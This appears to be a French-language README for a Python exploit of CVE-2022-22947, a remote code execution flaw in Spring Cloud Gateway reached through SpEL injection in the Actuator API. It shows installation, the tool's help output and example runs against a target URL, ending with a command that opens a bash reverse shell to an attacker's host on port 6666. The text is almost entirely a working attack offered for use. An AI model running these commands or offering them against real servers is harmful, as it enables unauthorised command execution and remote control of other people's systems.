
Exploit Python pour CVE-2022-22947 (Spring Cloud Gateway RCE) avec exécution de commandes, shell inversé et détection de vulnérabilité via l'injection SpEL de l'API Actuator.
pip3 install -r requirements.txt
$ python3 spring-cloud-gateway-rce.py -h
___ __ ____ ___ ____ ____ ____ ____ ___ _ _ _____
/ __\ /\ /\ /__\ |___ \ / _ \ |___ \ |___ \ |___ \ |___ \ / _ \ | || | |___ |
/ / \ \ / / /_\ _____ __) || | | | __) | __) | _____ __) | __) || (_) || || |_ / /
/ /___ \ V / //__ |_____| / __/ | |_| | / __/ / __/ |_____| / __/ / __/ \__, ||__ _| / /
\____/ \_/ \__/ |_____| \___/ |_____||_____| |_____||_____| /_/ |_| /_/
CVE-2022-22947 Spring Cloud Gateway RCE
By:K3rwin
usage: spring-cloud-gateway-rce.py [-h] [-u URL] [-c CMD] [-s SYSTEM]
Guide d'aide pour Spring Cloud Gateway RCE
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Spécifier l'URL
-c CMD, --cmd CMD Spécifier la commande à exécuter (par défaut : whoami)
-s SYSTEM, --system SYSTEM
Spécifier le système d'exploitation cible (par défaut : linux, valeurs : win/linux)
python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/"

python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/" -c "ip add"

python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/" -c "bash -i >& /dev/tcp/vps/6666 0>&1"

